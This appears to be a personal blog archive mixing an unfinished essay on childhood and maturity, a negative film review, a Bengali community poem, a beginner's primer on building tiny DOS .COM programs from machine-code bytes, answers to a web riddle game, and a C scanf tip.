The feelings and reactions people have when they are young are simple and pure. To put in more words they are free of any complexities and simulations. They are free to think and innovations are spontaneous. The things they speak are easy to understand and mean exactly what it literally means. A kid doesn’t know to fool people with words or camouflage hard sentences in presentable, sincere and polite flutters. If you hurt them they cry, if you tickle them they smile, if you play with them they play with you, if you hold them they hold you.

A grown up has to react in a matured manner. This maturity comes from lessons you learn from mistakes. These mistakes are mostly what you act out of spontaneous sense. Then you have to pay for your mistakes, sometimes heavily. Then you become aware from the next time that whenever such a thing happens you will remember this time and bring out some new type of reactions from within you. This is what I call simulation. Most people become very efficient in this and they are what we call matured.

They will always say things what they don’t mean but would fetch some more galore from the so called society. Every reaction is checked and controlled using more grey cells than they are expected to. If you hurt them they hurt you. If you tickle them they prick you. You try to play with them, they will reason out why. These are matured people and they are good.
I was not matured; in fact I was a newbie to the world. Having spent some 13 years in no self maturity program, I ought to be pure.

-A
http://arnabpal.blogspot.com

(That was an excerpt from something... I started long ago... and still not finished)

Chemical Locha ? Well said :)

Last month I went to see the film in the earnest wishes of being comedified as was the last Munna Bhai fever ..

Good good good ... blah blah blah ...

Coming to the point ...

Quite astonishingly, i found no real importance of Munna Bhai. The basic objective of the film was marketing 'Gandhian Principles' in this so called mordern society. Somehow linking something to something made a movie...

This continued throughout the movie to nag me pretty too much ...

Slightly off the point... but going into a few examples from the movie ...

a) The guy who confesses his Dad about loosing all savings in a gamble was lucky, because his father did not have a heart/head issue

b) Getting a radio channel to an entire desposition for continuing all that is a bit too much stretched/far fetched .. [read as: happens in moon]

c) A girl who was to choose a life partner, does so just by a jesture of 'chh chh' in a restaurant?

I can go on and on about it, but whats the point?

Why is that that movie makers mostly think that audiences have lost or would loose their brains? ... This was the second time this year after KANK ..

As a movie .. HORRIBLE;
As the principles ... I wouldnt have followed them anyway


----- A Footer ------

Most people dont know about "The letters of Nathuram Godse" and most are forcefully devoid of it too... I would recommend people to read it...
To know about the other 'school of thought' ....

Here is a link too: http://ngodse.tripod.com/

A Tribute to BinB

Tukro rajj[y]e ei amader chhot[t]o ekti para,
Ei-khane tei sokal-bikel doure berai amra (mora).
Bangla-r theke onek dure bangla kotha shunte pere,
Misti kothay kanta jeno beche jay haap chhere.

Ekti bochhor boyosh holeo sobar theke boro;
Eto bhalo "community" ar kothao achhe ki, bolte paro?
Bolte paro antor-jaler patay patay, ki-i-ba achhe moja.
Dekhte hobe, korte hobe, bepar ta khub-i shoja.

Jilipir moto ghoralo anondo-alochonar pach.
Jhogra sobi achhe, shudhu korte hobey catch.
Sivasamudra-y jhorna dekha, sorossoti pujo,hoyechhe.
Jani amra aro onek kichhui korbo.amar bolar sesh.
Ebar abar shonar shomoy...shudhu ekti kotha boli .. b in b - r JOY :)

Original post:
http://www.orkut.com/CommMsgs.aspx?cmm=5145780&tid=2483335743227082916

BinB is "Bengali in Bangalore" a community on Orkut initiated by Saikat Basu.

THE 5-BYTE EXECUTABLE - A PRIMER ON ASSEMBLY LANGUAGE AND MACHINE CODE

For starters, I'd like to create a program which is only 5 bytes in size and does more than the 7 byte EXE that Vbmew shows how to create.

At a DOS prompt, type "copy con echochar.com"

The listing of the program is as follows (with the assembler code explaination)

Press Alt-180
Code B4, "mov ah, ??". 'mov' is a symbol used to tell the processor to copy a value from somewhere into somwhere else. 'ah' is a CPU register. ah is commonly used with input and output routines. '??' is the value we want to put in to the ah register. We fill in the value of '??' in the next line.

Press Alt-1
ASCII character 1. This makes the first line look like "mov ah,1".

Press Alt-205
Code CD, "int ??". 'int' simply calls an interrupt. An interrupt is an instruction built in to the CPU.

Press Alt-33
ASCII character 33. In hex, 33 is 21. This makes the previous line look like "int 21h". Interrupt 21h is a commonly used IO interrupt. By setting the ah register to 1 and calling interrupt 33 (or 21h), we're telling the computer to stop and wait for input from the keyboard. Since ah is set to 1, once a key is pressed, it is echoed to the screen. If, however, ah was set to 8, the character pressed would *not* be echoed.

Press Alt-195
Code C3, "ret". 'ret' basically tells the computer to return to the previous environment.

Press Ctrl-Z to mark the end of the file and the press Enter to write the file.
Like Vbmew's program, this one displays a character to the screen. Unlike his program, however, this one lets you choose which character is displayed. =)

While this program basically does nothing, it's a great primer (for me, at least). It gives an introduction as to what basic assembler commands do what, and what their machine code representation is.

Here's the program again, this time, in all assembly.

mov ah,1
int 21h
ret

To make this even more low-level, we could eliminate the automatic display of the character to the screen and display it with code instead. As stated earlier, to eliminate the character echo, the ah register needs to be set to 8 instead of 1. After a key is pressed, is put into the 'al' register, which is simply another register in the CPU which you need not concern yourself with at the moment. Just know that it holds the ASCII value of the key that was pressed and we need to put that value into the 'dl' register, which is commonly used for output. To do this, we need to use totally different symbols specific for moving registers to registers. One of these new symbols are 88 and C2 combined. In fact, the 88-C2 command specifically copies the value in the al register to the dl register. After performing this operation, we need to tell the computer that we want to display the output. This is done by setting the ah register to 2 and once again calling interrupt 21h.

I also recommend a unicode hex editor for this as the DOS prompt will not suffice (because Alt-8 translates into backspace).

Keyboard command
ASM Code
Machine Code

Alt-180, Alt-8 (can't be done at DOS prompt) mov ah,8 ¦?
Alt-205, Alt-33 int 21h -!
Alt-136, Alt-194 mov dl,al (this is the 88-C2 command) ê-
Alt-180, Alt-2 mov ah,2 ¦?
Alt-205, Alt-33 int 21h -!
Alt-195 ret +

There you have it. An even more low-level program that does practically the same thing as the first. And it's only 11 bytes in size, still. =)

1.html

Hi....

Playing this game for sometime. These guys have trid something like Klueless / deathball .. but lot lot easier ..

try it here:http://www.freestuffhotdeals.com/hacker/1.html

Solution here:

1
2
three
ivevif
ssiixx
7777777
neun
oct
jack
tWeLvE
169
number14 (select all in prevpage)
quince (spanish 15)
lincoln (16th pres of US)
septendecim (latin 17)
10010 (binary 18)
potassium (atomic index 19)
icosihenagon (a=bb=cc=d and so on ... hohoohoho .. ollld trick ... baby)
17711 (22nd fibonacci term)
Woody (a=z b=y encoding for the 4th letter)

Last page:
GREAT JOB!! You have completely solved the FreeStuffHotDeals Hacker Puzzle! Be sure to to send a personal message to BinkelBop and tell him "Woody" to prove that you did it.

Okay apparently BinkelBop is a guy in FreeStuffHotDeals who gives away the prizes. But can't deliver to India

Basically hese guys are teaching you to count .. huh :? :))

Usage of assignment suppression operator in scanf ..

Suppose you have some crap input, then what normally we do is take a dummy variable and scan the input in that variable ..

for example if you have to scan a integar which is of no use .. then what you do is
int dummy

scanf(”%d”,&dummy);

but there is one more method which can save memory and time

what you do is

scanf(”%*d”);

In this method .. we provide a character * to the scanf function and by doing that .. scanf will scan the input from standard input .. but it wont assign it to any variable .. ( this is scanned in a buffer of sufficient size .. and you dont have to worry about that ) ..